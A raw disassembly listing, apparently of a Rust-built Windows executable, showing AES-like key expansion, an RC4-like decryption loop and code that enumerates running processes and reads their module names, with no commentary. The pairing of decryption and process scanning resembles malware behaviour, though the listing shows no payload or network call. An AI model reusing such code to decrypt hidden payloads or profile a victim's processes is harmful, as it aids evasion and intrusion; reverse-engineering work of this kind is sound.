ja 0x14000496e
mov eax, dword [rbp + rdx*4 + 0x43cc]
mov ebx, dword [rbp + rcx*4 + 0x43cc]
mov dword [rbp + rdx*4 + 0x43cc], ebx
mov dword [rbp + rcx*4 + 0x43cc], eax
add rdx, 4
add rcx, 0xfffffffffffffffc
jmp 0x140002524
mov r11b, 1
push 7
pop rcx
mov r8b, byte [rbp + 0x44b0]
lea rbx, [0x1400532c0]
mov r9d, 0x3fc
mov r10d, 0xff
lea r12, [0x140053b78]
lea r14, [0x140053760]
lea r13, [0x140053f78]
lea r15, [0x140054378]
mov eax, r11d
cmp r11b, r8b
adc r11b, 0
cmp al, r8b
jae 0x14000277e
cmp rcx, 0x3f
je 0x140004985
mov esi, dword [rbp + rcx*4 + 0x43b4]
mov rax, rsi
shr rax, 0x18
movzx eax, byte [rbx + rax*4]
mov rdi, rsi
shr rdi, 0xe
and rdi, r9
movzx edi, byte [rdi + rbx]
mov edi, dword [r12 + rdi*4]
xor edi, dword [r14 + rax*4]
mov rax, rsi
shr rax, 8
and rax, r10
movzx eax, byte [rbx + rax*4]
xor edi, dword [r13 + rax*4]
and rsi, r10
movzx eax, byte [rbx + rsi*4]
xor edi, dword [r15 + rax*4]
mov edx, dword [rbp + rcx*4 + 0x43b8]
mov dword [rbp + rcx*4 + 0x43b4], edi
mov rax, rdx
shr rax, 0x18
movzx eax, byte [rbx + rax*4]
mov rsi, rdx
shr rsi, 0xe
and rsi, r9
movzx esi, byte [rsi + rbx]
mov esi, dword [r12 + rsi*4]
xor esi, dword [r14 + rax*4]
mov rax, rdx
shr rax, 8
and rax, r10
movzx eax, byte [rbx + rax*4]
xor esi, dword [r13 + rax*4]
and rdx, r10
movzx eax, byte [rbx + rdx*4]
xor esi, dword [r15 + rax*4]
mov dword [rbp + rcx*4 + 0x43b8], esi
mov eax, dword [rbp + rcx*4 + 0x43bc]
mov rdx, rax
shr rdx, 0x18
movzx edx, byte [rbx + rdx*4]
mov rsi, rax
shr rsi, 0xe
and rsi, r9
movzx esi, byte [rsi + rbx]
mov esi, dword [r12 + rsi*4]
xor esi, dword [r14 + rdx*4]
mov rdx, rax
shr rdx, 8
and rdx, r10
movzx edx, byte [rbx + rdx*4]
xor esi, dword [r13 + rdx*4]
and rax, r10
movzx eax, byte [rbx + rax*4]
xor esi, dword [r15 + rax*4]
mov dword [rbp + rcx*4 + 0x43bc], esi
mov eax, dword [rbp + rcx*4 + 0x43c0]
mov rdx, rax
shr rdx, 0x18
movzx edx, byte [rbx + rdx*4]
mov rsi, rax
shr rsi, 0xe
and rsi, r9
movzx esi, byte [rsi + rbx]
mov esi, dword [r12 + rsi*4]
xor esi, dword [r14 + rdx*4]
mov rdx, rax
shr rdx, 8
and rdx, r10
movzx edx, byte [rbx + rdx*4]
xor esi, dword [r13 + rdx*4]
and rax, r10
movzx eax, byte [rbx + rax*4]
xor esi, dword [r15 + rax*4]
mov dword [rbp + rcx*4 + 0x43c0], esi
add rcx, 4
jmp 0x140002624
lea rcx, [rbp - 0x40]
lea rdx, [rbp + 0x3fc0]
mov r8d, 0xf4
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xb4]
lea rdx, [rbp + 0x43c0]
mov r8d, 0xf4
call sub.VCRUNTIME140.dll_memcpy
mov r8, qword [rbp + 0x4b50]
test r8b, 0xf
je 0x140002a18
push 1
pop r12
xor r14d, r14d
xor r15d, r15d
lea rdx, [0x140051f28]
lea rcx, [rbp + 0x43c0]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memcpy
xor ebx, ebx
lea rsi, [0x140041948]
xor ecx, ecx
xor edx, edx
cmp rbx, 0x100
je 0x14000282b
movzx edx, dl
mov r8b, byte [rbp + rbx + 0x43c0]
add cl, byte [rdx + rsi]
add cl, r8b
movzx edi, cl
mov al, byte [rbp + rdi + 0x43c0]
mov byte [rbp + rbx + 0x43c0], al
inc rbx
mov byte [rbp + rdi + 0x43c0], r8b
inc dl
and dl, 0xf
jmp 0x1400027ee
lea rsi, [rbp + 0x3fc0]
lea rdx, [rbp + 0x43c0]
mov r8d, 0x100
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
and word [rsi + 0x100], 0
xor r8d, r8d
xor ecx, ecx
cmp r14, rcx
je 0x14000289e
lea rdi, [rcx + 1]
movzx ebx, dil
mov al, byte [rbp + rbx + 0x3fc0]
add r8b, al
movzx esi, r8b
mov dl, byte [rbp + rsi + 0x3fc0]
mov byte [rbp + rbx + 0x3fc0], dl
mov byte [rbp + rsi + 0x3fc0], al
add al, byte [rbp + rbx + 0x3fc0]
movzx eax, al
mov al, byte [rbp + rax + 0x3fc0]
xor byte [r12 + rcx], al
mov rcx, rdi
jmp 0x140002854
mov qword [rbp + 0x4b18], r12
mov qword [rbp + 0x4b50], r15
mov byte [rbp + 0x40c0], cl
mov byte [rbp + 0x40c1], r8b
mov ecx, 0x8000
mov dl, 1
call fcn.14001fd8e
mov rdi, rax
mov rsi, rdx
cmp rax, 0x8001
jb 0x140002914
push 1
pop r8
mov r9d, 0x8000
mov rcx, rsi
mov rdx, rdi
call fcn.14000b3e0
test rax, rax
mov rcx, qword [rbp + 0x4b18]
jne 0x14000291e
mov qword [rbp + 0x4b48], rdi
mov qword [rbp + 0x4b68], rsi
push 1
pop rdx
mov ecx, 0x8000
call fcn.14003e7c0
jmp 0x140004cc6
mov rax, rsi
mov rcx, qword [rbp + 0x4b18]
mov qword [rbp + 0x4a00], rcx
mov qword [rbp + 0x4a08], r14
mov qword [rbp + 0x4a10], rax
mov qword [rbp + 0x4a18], 0x8000
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x4a20], xmm0
mov byte [rbp + 0x4b67], 1
lea rsi, [rbp + 0x4a30]
mov rcx, rsi
call fcn.14001c6dd
and qword [rbp + 0x4898], 0
lea rcx, [rbp + 0x43c0]
mov qword [rcx + 0x10], rsi
and qword [rcx], 0
mov rax, qword [rbp + 0x4a90]
mov qword [rcx + 8], rax
lea rax, [rbp + 0x4a00]
mov qword [rcx + 0x18], rax
mov al, 1
mov byte [rbp + 0x4b77], al
mov byte [rbp + 0x4b76], al
mov byte [rbp + 0x4b75], al
call fcn.14000c280
mov rbx, rax
test rax, rax
mov qword [rbp + 0x4b68], rax
je 0x140002a4f
mov rcx, rbx
call fcn.14000c5e8
cmp al, 0xd
jne 0x140002ab6
lea rax, [rbp + 0x4a38]
mov r9, qword [rax - 8]
push 0xd
pop rcx
lea rdi, [rbp + 0x47c8]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov r8d, dword [rax + 0x68]
movdqu xmm0, xmmword [rax + 0x6c]
movdqa xmmword [rbp + 0x48f0], xmm0
mov eax, dword [rax + 0x7c]
mov dword [rbp + 0x4900], eax
mov al, 1
mov dword [rbp + 0x4b38], eax
mov dword [rbp + 0x4b48], 0
mov r14b, 1
jmp 0x140002ad2
test r8, r8
je 0x140003dbc
push 1
pop rdx
mov rcx, r8
call fcn.14001c85e
mov r8, qword [rbp + 0x4b50]
mov r12, rax
test rax, rax
jne 0x140003dc0
push 1
pop rdx
mov rcx, r8
call fcn.14003e7c0
jmp 0x140004cc6
push 0xa
pop rcx
lea rdi, [rbp + 0x43c0]
lea rax, [rbp + 0x4a30]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rax + 0x50]
mov rdx, qword [rax + 0x58]
call fcn.14000b6b0
lea rcx, [rbp + 0x4898]
call fcn.140001211
lea rdi, [rbp + 0x48a0]
mov qword [rdi - 8], 1
push 0xa
pop rcx
lea rsi, [rbp + 0x43c0]
rep movsq qword [rdi], qword [rsi]
push 2
pop r8
mov al, 1
mov dword [rbp + 0x4b38], eax
mov dword [rbp + 0x4b48], 0
mov r14b, 1
jmp 0x140002ad2
push 4
pop r8
mov al, 1
mov dword [rbp + 0x4b48], eax
mov dword [rbp + 0x4b38], 0
xor r14d, r14d
mov r9, rbx
lea rdx, [rbp + 0x4a20]
lea rax, [rbp + 0x43c8]
mov qword [rax - 8], r9
push 0xd
pop rcx
lea rsi, [rbp + 0x47c8]
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov dword [rax + 0x68], r8d
movaps xmm0, xmmword [rbp + 0x48f0]
movups xmmword [rax + 0x6c], xmm0
mov ecx, dword [rbp + 0x4900]
mov dword [rax + 0x7c], ecx
movups xmm0, xmmword [rdx - 0x20]
movaps xmmword [rbp + 0x4910], xmm0
mov rax, qword [rdx - 0x10]
mov qword [rbp + 0x4b30], rax
mov rax, qword [rdx - 8]
mov qword [rbp + 0x4b58], rax
movdqu xmm0, xmmword [rdx]
movdqa xmmword [rbp + 0x4ac0], xmm0
lea rcx, [rbp + 0x4970]
call fcn.14001c0f5
lea rcx, [rbp + 0x4910]
movdqa xmm0, xmmword [rcx]
movdqa xmmword [rbp + 0x4830], xmm0
movdqa xmm1, xmmword [rbp + 0x4ac0]
movdqa xmmword [rbp + 0x4840], xmm1
movdqu xmm2, xmmword [rbp + 0x4970]
movdqa xmmword [rbp + 0x4ae0], xmm2
mov rax, qword [rbp + 0x4980]
mov qword [rbp + 0x4af0], rax
movdqa xmmword [rbp + 0x4970], xmm0
mov r13, qword [rbp + 0x4b30]
mov qword [rbp + 0x4980], r13
mov r12, qword [rbp + 0x4b58]
mov qword [rbp + 0x4988], r12
movdqa xmmword [rbp + 0x4990], xmm1
movdqa xmmword [rbp + 0x49a0], xmm2
mov qword [rbp + 0x49b0], rax
call fcn.14001c77c
mov r15, qword [rbp + 0x4b68]
test r15, r15
sete bl
movaps xmm0, xmmword [rbp + 0x4830]
movaps xmmword [rbp + 0x4850], xmm0
movaps xmm0, xmmword [rbp + 0x4840]
movaps xmmword [rbp + 0x4860], xmm0
movaps xmm0, xmmword [rbp + 0x4ae0]
movaps xmmword [rbp + 0x4ac0], xmm0
mov rax, qword [rbp + 0x4af0]
mov qword [rbp + 0x4ad0], rax
lea rdi, [rbp + 0x4910]
movdqu xmm0, xmmword [rdi]
movdqa xmmword [rbp + 0x4880], xmm0
mov rax, qword [rdi + 0x10]
mov qword [rbp + 0x4890], rax
push 0xb
pop rcx
lea rsi, [rbp + 0x4898]
rep movsq qword [rdi], qword [rsi]
lea rcx, [rbp + 0x4970]
lea rdx, [rbp + 0x43c0]
mov r8d, 0x88
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbp + 0x4b48]
or bl, al
jne 0x140002c75
mov byte [rbp + 0x4b77], al
xor eax, eax
mov byte [rbp + 0x4b76], al
mov byte [rbp + 0x4b75], al
mov rcx, r15
call fcn.14000c651
test r14b, r14b
jne 0x140002c8d
mov byte [rbp + 0x4b67], 0
lea rcx, [rbp + 0x4a30]
call fcn.14000c6f4
movaps xmm0, xmmword [rbp + 0x4850]
lea rcx, [rbp + 0x4420]
movaps xmmword [rcx - 0x60], xmm0
mov qword [rcx - 0x50], r13
mov qword [rcx - 0x48], r12
movaps xmm0, xmmword [rbp + 0x4860]
movaps xmmword [rcx - 0x40], xmm0
movaps xmm0, xmmword [rbp + 0x4ac0]
movaps xmmword [rcx - 0x30], xmm0
mov rax, qword [rbp + 0x4ad0]
mov qword [rcx - 0x20], rax
movdqa xmm0, xmmword [rbp + 0x4880]
movdqu xmmword [rcx - 0x18], xmm0
mov rax, qword [rbp + 0x4890]
mov qword [rcx - 8], rax
lea rdx, [rbp + 0x4970]
mov r8d, 0x88
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x44a8]
push 0xb
pop rcx
lea rsi, [rbp + 0x4910]
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov byte [rax + 0x58], 0
lea rsi, [rbp + 0x4a30]
mov ecx, dword [rsi]
mov edx, dword [rsi + 3]
mov dword [rax + 0x59], ecx
mov dword [rax + 0x5c], edx
lea rax, [rbp + 0x4ae0]
and qword [rax], 0
mov qword [rax + 8], 1
and qword [rax + 0x10], 0
xorps xmm6, xmm6
xor ebx, ebx
xor r15d, r15d
xor r12d, r12d
cmp r15, rbx
jne 0x140002d64
lea rcx, [rbp + 0x4ae0]
push 0x20
pop rdx
call fcn.14001cb2b
mov rbx, qword [rbp + 0x4ae0]
mov r15, qword [rbp + 0x4af0]
mov r13, rbx
sub r13, r15
mov r8, r13
sub r8, r12
jb 0x140004b53
mov rdi, qword [rbp + 0x4ae8]
add rdi, r15
lea rcx, [rdi + r12]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rsi
lea rdx, [rbp + 0x43c0]
mov r8, rdi
mov r9, r13
call fcn.14000f574
cmp qword [rbp + 0x4a30], 0
mov r14, qword [rbp + 0x4a38]
je 0x140002dd7
test r14, r14
je 0x140002ed7
mov rcx, r14
call fcn.14000c5e8
cmp al, 0x23
jne 0x140002eb9
mov rcx, r14
call fcn.14000f0b5
jmp 0x140002d42
cmp r13, r14
mov rdx, r14
cmova rdx, r13
test r14, r14
je 0x140002ed7
mov rcx, r14
mov r8, r13
lea r9, str._rustc_2c8cc343237b8f7d5a3c3703e3a87f2eb2c54a74library_std_srcio_readbuf.rs
call fcn.14000f158
mov r12, rax
xor ecx, ecx
mov rdx, r14
mov r8, r13
lea r9, str._rustc_2c8cc343237b8f7d5a3c3703e3a87f2eb2c54a74library_std_srcio_readbuf.rs
call fcn.14000f158
add r15, rax
mov qword [rbp + 0x4af0], r15
mov rax, rbx
or rax, r15
jne 0x140002d42
movaps xmmword [rbp + 0x4a40], xmm6
movaps xmmword [rbp + 0x4a30], xmm6
lea rcx, [rbp + 0x4970]
lea rdx, [rbp + 0x43c0]
mov r8, rsi
push 0x20
pop r9
call fcn.14000f574
mov rdi, qword [rbp + 0x4970]
test rdi, rdi
je 0x140002e81
mov rbx, qword [rbp + 0x4978]
mov rcx, rbx
call fcn.14000c5e8
cmp al, 0x23
jne 0x1400044ac
mov rcx, rdi
mov rdx, rbx
call fcn.14000f188
jmp 0x140002e37
mov r8, qword [rbp + 0x4978]
test r8, r8
je 0x140002ed7
cmp r8, 0x21
jae 0x140004cb1
lea rcx, [rbp + 0x4ae0]
mov rdx, rsi
call fcn.14001cbeb
mov rbx, qword [rbp + 0x4ae0]
mov r15, qword [rbp + 0x4af0]
jmp 0x140002d42
mov qword [rbp + 0x47d0], r14
mov qword [rbp + 0x47c8], 1
lea rcx, [rbp + 0x47d0]
call fcn.140001150
lea rcx, [rbp + 0x43c0]
call fcn.140001226
mov rcx, qword [rbp + 0x4b50]
mov rdx, qword [rbp + 0x4b18]
call fcn.14000b6b0
mov rcx, qword [rbp + 0x4b78]
mov rdx, qword [rbp + 0x4b28]
call fcn.14000b6b0
mov byte [rbp + 0x4b87], 1
push 0x48
pop rcx
call fcn.14000141e
mov qword [rbp + 0x4b28], rax
lea rdx, [0x140041dc4]
lea rbx, [rbp + 0x3fc0]
push 0xc
pop r8
mov rcx, rbx
call fcn.140001000
lea rdx, [0x140041dd0]
lea rcx, [rbp + 0x43c0]
push 7
pop r8
call fcn.140001000
lea rdx, [0x140041dd7]
lea rcx, [rbp - 0x40]
push 0x11
pop r8
call fcn.140001000
mov rax, qword [rbp + 0x3fd0]
mov rcx, qword [rbp + 0x4b28]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x3fc0]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rbp + 0x43c0]
movups xmmword [rcx + 0x18], xmm0
mov rax, qword [rbp + 0x43d0]
mov qword [rcx + 0x28], rax
movdqu xmm0, xmmword [rbp - 0x40]
movdqu xmmword [rcx + 0x30], xmm0
mov rax, qword [rbp - 0x30]
mov qword [rcx + 0x40], rax
push 3
pop rax
mov qword [rbp + 0x4a00], rax
mov qword [rbp + 0x4a08], rcx
mov qword [rbp + 0x4a10], rax
lea rdx, [0x14005a668]
lea rcx, [rbp + 0x4910]
xor r8d, r8d
call fcn.140001000
and qword [rbp + 0x4898], 0
mov qword [rbp + 0x48a0], 8
and qword [rbp + 0x48a8], 0
lea rsi, [rbp + 0x4ac0]
and dword [rsi], 0
lea rdi, [rbp - 0x40]
mov r8d, 0x4000
mov rcx, rdi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rdi
mov edx, 0x1000
mov r8, rsi
call sub.psapi.dll_EnumProcesses
mov dword [rbp + 0x4b50], eax
cmp dword [rbp + 0x4b50], 0
je 0x140003bd8
lea r12, [rbp + 0x4ac0]
mov eax, dword [r12]
shr eax, 2
mov dword [rbp + 0x4b48], eax
mov eax, 0x400
lea rcx, [rbx + rax]
mov qword [rbp + 0x4af8], rcx
lea rcx, [rbp + 0x43c0]
add rax, rcx
mov qword [rbp + 0x4b08], rax
movaps xmm6, xmmword [0x140041480]
movdqa xmm9, xmmword [0x1400414a0]
movdqa xmm10, xmmword [0x1400414b0]
movdqa xmm12, xmmword [0x1400414c0]
movdqa xmm11, xmmword [0x1400414d0]
movdqa xmm7, xmmword [0x1400414e0]
movdqa xmm13, xmmword [0x1400414f0]
movdqa xmm14, xmmword [0x140041500]
movdqa xmm15, xmmword [str._________________]
push 8
pop r14
xor r15d, r15d
mov dword [rbp + 0x4b68], 0
mov eax, dword [rbp + 0x4b68]
cmp eax, dword [rbp + 0x4b48]
jae 0x140003ad2
mov ecx, eax
cmp eax, 0xfff
ja 0x14000499a
mov r8d, dword [rbp + rcx*4 - 0x40]
mov ecx, 0x410
xor edx, edx
mov dword [rbp + 0x4b30], r8d
call sub.KERNEL32.dll_OpenProcess
mov rdi, rax
inc dword [rbp + 0x4b68]
test rax, rax
je 0x1400030c6
push 8
pop rcx
call fcn.14000141e
mov rsi, rax
and qword [rax], 0
mov rcx, rdi
mov rdx, rax
push 8
pop r8
mov r9, r12
call sub.psapi.dll_EnumProcessModules
test eax, eax
je 0x1400030c6
mov r8d, 0x400
mov rcx, rbx
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x400
lea rcx, [rbp + 0x43c0]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [rsi]
mov rcx, rdi
mov r8, rbx
mov r9d, 0x400
call sub.psapi.dll_GetModuleBaseNameA
mov rdx, qword [rsi]
mov rcx, rdi
lea r8, [rbp + 0x43c0]
mov r9d, 0x400
call sub.psapi.dll_GetModuleFileNameExA
mov ecx, 0x400
call fcn.14001ce9f
mov qword [rbp + 0x4970], rax
mov qword [rbp + 0x4978], rdx
and qword [rbp + 0x4980], 0
mov edx, 0x400
lea rsi, [rbp + 0x4970]
mov rcx, rsi
call fcn.14001cb2b
mov rax, qword [rbp + 0x4978]
mov rcx, qword [rbp + 0x4980]
mov qword [rbp + 0x4a30], rcx
lea rcx, [rbp + 0x4980]
mov qword [rbp + 0x4a38], rcx
mov qword [rbp + 0x4a40], rax
mov rcx, qword [rbp + 0x4af8]
mov rdx, rbx
lea rbx, [rbp + 0x4a30]
mov r8, rbx
call fcn.14000ee90
mov rcx, rbx
mov rdx, rsi
call fcn.14000145f
lea rcx, [rbp + 0x47c8]
mov rdx, rbx
lea r8, str.srcmain.rs
call fcn.140001399
mov rcx, qword [rbp + 0x47d0]
mov rdx, qword [rbp + 0x47d8]
mov qword [rbp + 0x4b18], rcx
call fcn.14000f3e9
mov r12, rax
mov r13, rdx
mov ecx, 0x400
call fcn.14001ce9f
mov qword [rbp + 0x4970], rax
mov qword [rbp + 0x4978], rdx
and qword [rbp + 0x4980], 0
mov edx, 0x400
lea rsi, [rbp + 0x4970]
mov rcx, rsi
call fcn.14001cb2b
mov rax, qword [rbp + 0x4978]
mov rcx, qword [rbp + 0x4980]
mov qword [rbp + 0x4a30], rcx
lea rcx, [rbp + 0x4980]
mov qword [rbp + 0x4a38], rcx
mov qword [rbp + 0x4a40], rax
mov rcx, qword [rbp + 0x4b08]
lea rdx, [rbp + 0x43c0]
lea rbx, [rbp + 0x4a30]
mov r8, rbx
call fcn.14000ee90
mov rcx, rbx
mov rdx, rsi
call fcn.14000145f
mov rcx, rsi
mov rdx, rbx
lea r8, str.srcmain.rs
call fcn.140001399
mov rcx, qword [rbp + 0x4910]
mov rdx, qword [rbp + 0x4918]
call fcn.14000b6b0
mov rdx, qword [rbp + 0x4980]
mov qword [rbp + 0x4920], rdx
movdqu xmm0, xmmword [rbp + 0x4970]
movdqa xmmword [rbp + 0x4910], xmm0
mov rsi, qword [rbp + 0x4918]
mov rcx, rsi
call fcn.14000f3e9
mov r8, rdx
lea rcx, [rbp + 0x4a30]
mov rdx, rax
call fcn.140001000
mov rcx, qword [rbp + 0x4910]
mov rdx, rsi
call fcn.14000b6b0
mov rax, qword [rbp + 0x4a40]
mov qword [rbp + 0x4920], rax
movdqu xmm0, xmmword [rbp + 0x4a30]
movdqa xmmword [rbp + 0x4910], xmm0
mov rcx, rdi
call sub.KERNEL32.dll_CloseHandle
mov qword [rbp + 0x4b10], r14
mov rax, r13
mov r14, r13
test r13, r13
mov qword [rbp + 0x4b00], r15
je 0x140003549
js 0x140004c9d
mov rdi, r12
mov rcx, r14
push 1
pop rdx
call fcn.14000b330
test rax, rax
je 0x140004ca4
xor ecx, ecx
cmp r13, 0x10
jb 0x140003551
movdqu xmm0, xmmword [rdi + rcx]
pshufd xmm3, xmm0, 0xee
movdqa xmm1, xmm3
por xmm1, xmm0
movq rdx, xmm1
movabs rbx, 0x8080808080808080
test rdx, rbx
jne 0x140003551
movq rdx, xmm0
movdqa xmm2, xmm0
psrlq xmm2, 0x20
movdqa xmm1, xmm3
psrlq xmm1, 0x18
shufps xmm1, xmm2, 0xe4
movdqa xmm2, xmm0
psrlq xmm2, 0x30
movdqa xmm4, xmm3
psrlq xmm4, 0x28
shufps xmm4, xmm2, 0xe4
andps xmm4, xmm6
andps xmm1, xmm6
packuswb xmm1, xmm4
movdqa xmm2, xmm0
psrlq xmm2, 0x10
psrlq xmm3, 8
shufps xmm3, xmm2, 0xe4
shr rdx, 0x38
movq xmm2, rdx
shufps xmm2, xmm0, 0xe4
andps xmm3, xmm6
andps xmm2, xmm6
packuswb xmm2, xmm3
movdqa xmm4, xmm0
psrlq xmm4, 0x18
pshufd xmm8, xmm0, 0x44
movdqa xmm3, xmm8
psrlq xmm3, 0x20
movsd xmm3, xmm4
movdqa xmm4, xmm0
psrlq xmm4, 0x28
movdqa xmm5, xmm8
psrlq xmm5, 0x30
movsd xmm5, xmm4
andpd xmm5, xmm6
andpd xmm3, xmm6
packuswb xmm3, xmm5
movdqa xmm4, xmm0
psrlq xmm4, 8
psrlq xmm8, 0x10
movsd xmm8, xmm4
shufps xmm8, xmm8, 0xe8
pshuflw xmm4, xmm8, 0xe8
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xe8
pand xmm4, xmmword [0x140041490]
movdqa xmm5, xmm0
pand xmm5, xmm9
por xmm5, xmm4
movdqa xmm4, xmm10
pandn xmm4, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
packuswb xmm3, xmm3
packuswb xmm3, xmm3
psllq xmm3, 0x18
pand xmm3, xmm10
por xmm4, xmm3
pslldq xmm2, 7
movdqa xmm3, xmm12
pandn xmm3, xmm2
pand xmm4, xmm12
por xmm4, xmm3
packuswb xmm1, xmm1
packuswb xmm1, xmm1
pand xmm4, xmm11
pslldq xmm1, 0xb
por xmm1, xmm4
pand xmm1, xmm7
movdqa xmm2, xmm7
pandn xmm2, xmm0
por xmm2, xmm1
movdqa xmm0, xmm2
paddb xmm0, xmm13
movdqa xmm1, xmm0
pminub xmm1, xmm14
pcmpeqb xmm1, xmm0
pand xmm1, xmm15
por xmm1, xmm2
movdqu xmmword [rax + rcx], xmm1
lea rdx, [rcx + 0x10]
add rcx, 0x20
cmp rcx, r13
mov rcx, rdx
jbe 0x14000339d
mov rcx, rdx
jmp 0x140003551
push 1
pop rax
xor ecx, ecx
mov rdi, r12
lea r12, [rdi + rcx]
add rdi, r13
sub r13, rcx
mov qword [rbp + 0x4b20], r13
mov qword [rbp + 0x4a30], r14
mov qword [rbp + 0x4a38], rax
mov qword [rbp + 0x4a40], rcx
mov rax, r12
xor r14d, r14d
mov qword [rbp + 0x4b58], rdi
cmp rax, rdi
je 0x14000398d
mov bl, byte [rax]
movzx edx, bl
test dl, dl
js 0x14000359c
lea rbx, [rax + 1]
jmp 0x14000360a
mov ecx, edx
and ecx, 0x1f
movzx edi, byte [rax + 1]
and edi, 0x3f
cmp dl, 0xdf
jbe 0x1400035eb
movzx esi, byte [rax + 2]
shl edi, 6
and esi, 0x3f
or esi, edi
cmp bl, 0xf0
jb 0x1400035f8
movzx edx, byte [rax + 3]
and ecx, 7
shl ecx, 0x12
shl esi, 6
and edx, 0x3f
or edx, esi
or edx, ecx
cmp edx, 0x110000
mov rdi, qword [rbp + 0x4b58]
je 0x14000398d
lea rbx, [rax + 4]
jmp 0x14000360a
lea rbx, [rax + 2]
shl ecx, 6
or ecx, edi
mov edx, ecx
jmp 0x140003603
lea rbx, [rax + 3]
shl ecx, 0xc
or esi, ecx
mov edx, esi
mov rdi, qword [rbp + 0x4b58]
mov r15, r14
sub r15, rax
add r15, rbx
cmp edx, 0x3a3
je 0x140003648
cmp edx, 0x110000
je 0x14000398d
mov r13, rbx
cmp edx, 0x80
jae 0x14000366e
lea eax, [rdx - 0x41]
xor ecx, ecx
cmp al, 0x1a
setb cl
shl ecx, 5
or ecx, edx
mov edx, ecx
jmp 0x1400036d0
test r14, r14
je 0x1400036ed
cmp r14, qword [rbp + 0x4b20]
jae 0x1400036e7
cmp byte [r12 + r14], 0xbf
jg 0x1400036ed
jmp 0x140004bdd
mov eax, 0x599
xor ebx, ebx
mov r8d, 0x599
shr rax, 1
add rax, rbx
mov rsi, rax
shl rsi, 4
xor edi, edi
lea rcx, [0x140048438]
cmp dword [rsi + rcx], edx
setne dil
mov ecx, 0xff
cmovb edi, ecx
cmp dil, 1
je 0x1400036c1
movzx ebx, dil
cmp ebx, 0xff
jne 0x1400037c4
inc rax
mov rbx, rax
mov rax, r8
jmp 0x1400036c4
mov r8, rax
sub rax, rbx
ja 0x14000367b
mov rdi, qword [rbp + 0x4b58]
lea rcx, [rbp + 0x4a30]
call fcn.14000baf0
mov rax, r13
mov r14, r15
jmp 0x140003584
jne 0x140004bdd
mov qword [rbp + 0x4b38], rbx
lea rbx, [r12 + r14]
xor eax, eax
cmp rbx, r12
je 0x1400038f4
mov cl, byte [rbx - 1]
test cl, cl
js 0x140003712
dec rbx
movzx esi, cl
jmp 0x140003770
movzx edx, byte [rbx - 2]
cmp dl, 0xc0
jge 0x140003741
movzx esi, byte [rbx - 3]
cmp sil, 0xc0
jge 0x14000374a
movzx edi, byte [rbx - 4]
add rbx, 0xfffffffffffffffc
and edi, 7
shl edi, 6
and esi, 0x3f
or esi, edi
mov rdi, qword [rbp + 0x4b58]
jmp 0x140003751
add rbx, 0xfffffffffffffffe
and edx, 0x1f
jmp 0x140003759
add rbx, 0xfffffffffffffffd
and esi, 0xf
shl esi, 6
and edx, 0x3f
or edx, esi
shl edx, 6
and cl, 0x3f
movzx esi, cl
or esi, edx
cmp esi, 0x110000
je 0x1400038f4
test al, al
jne 0x140003788
mov ecx, esi
call fcn.14001b7b0
test al, al
je 0x140003788
mov esi, 0x110000
xor eax, eax
jmp 0x14000378a
mov al, 1
cmp esi, 0x110000
je 0x1400036fa
mov ecx, esi
call fcn.14001b900
test al, al
je 0x1400038f4
add r14, 2
je 0x140003835
cmp r14, qword [rbp + 0x4b20]
jae 0x14000382f
cmp byte [r12 + r14], 0xbf
jg 0x140003835
jmp 0x140004c4b
lea rax, [0x140048438]
mov edx, dword [rsi + rax + 4]
mov rsi, qword [rsi + rax + 8]
test esi, esi
je 0x1400036c9
movq xmm0, rsi
pshufd xmm0, xmm0, 0x55
movd r14d, xmm0
test r14d, r14d
mov rdi, qword [rbp + 0x4b58]
je 0x140003968
lea rcx, [rbp + 0x4a30]
call fcn.14000baf0
lea rcx, [rbp + 0x4a30]
mov edx, esi
call fcn.14000baf0
lea rcx, [rbp + 0x4a30]
mov edx, r14d
call fcn.14000baf0
mov rax, r13
mov r14, r15
jmp 0x140003584
jne 0x140004c4b
add r14, r12
xor eax, eax
cmp r14, rdi
je 0x14000394b
mov bl, byte [r14]
movzx r13d, bl
test r13b, r13b
js 0x140003854
inc r14
jmp 0x1400038bf
mov ecx, r13d
and ecx, 0x1f
movzx esi, byte [r14 + 1]
and esi, 0x3f
cmp r13b, 0xdf
jbe 0x1400038a5
movzx edx, byte [r14 + 2]
shl esi, 6
and edx, 0x3f
or edx, esi
cmp bl, 0xf0
jb 0x1400038b3
movzx r13d, byte [r14 + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and r13d, 0x3f
or r13d, edx
or r13d, ecx
cmp r13d, 0x110000
je 0x14000394b
add r14, 4
jmp 0x1400038bf
add r14, 2
shl ecx, 6
or ecx, esi
mov r13d, ecx
jmp 0x1400038bf
add r14, 3
shl ecx, 0xc
or edx, ecx
mov r13d, edx
test al, al
jne 0x1400038d9
mov ecx, r13d
call fcn.14001b7b0
test al, al
je 0x1400038d9
mov r13d, 0x110000
xor eax, eax
jmp 0x1400038db
mov al, 1
cmp r13d, 0x110000
je 0x14000383a
mov ecx, r13d
call fcn.14001b900
test al, al
je 0x14000394b
mov rax, qword [rbp + 0x4a30]
mov rdx, qword [rbp + 0x4a40]
sub rax, rdx
mov si, 0x83cf
cmp rax, 2
jae 0x140003926
lea rcx, [rbp + 0x4a30]
push 2
pop r8
call fcn.14003e7d0
mov rdx, qword [rbp + 0x4a40]
mov rax, qword [rbp + 0x4a38]
mov word [rax + rdx], si
add rdx, 2
mov qword [rbp + 0x4a40], rdx
mov rax, qword [rbp + 0x4b38]
mov r14, r15
jmp 0x140003584
mov rax, qword [rbp + 0x4a30]
mov rdx, qword [rbp + 0x4a40]
sub rax, rdx
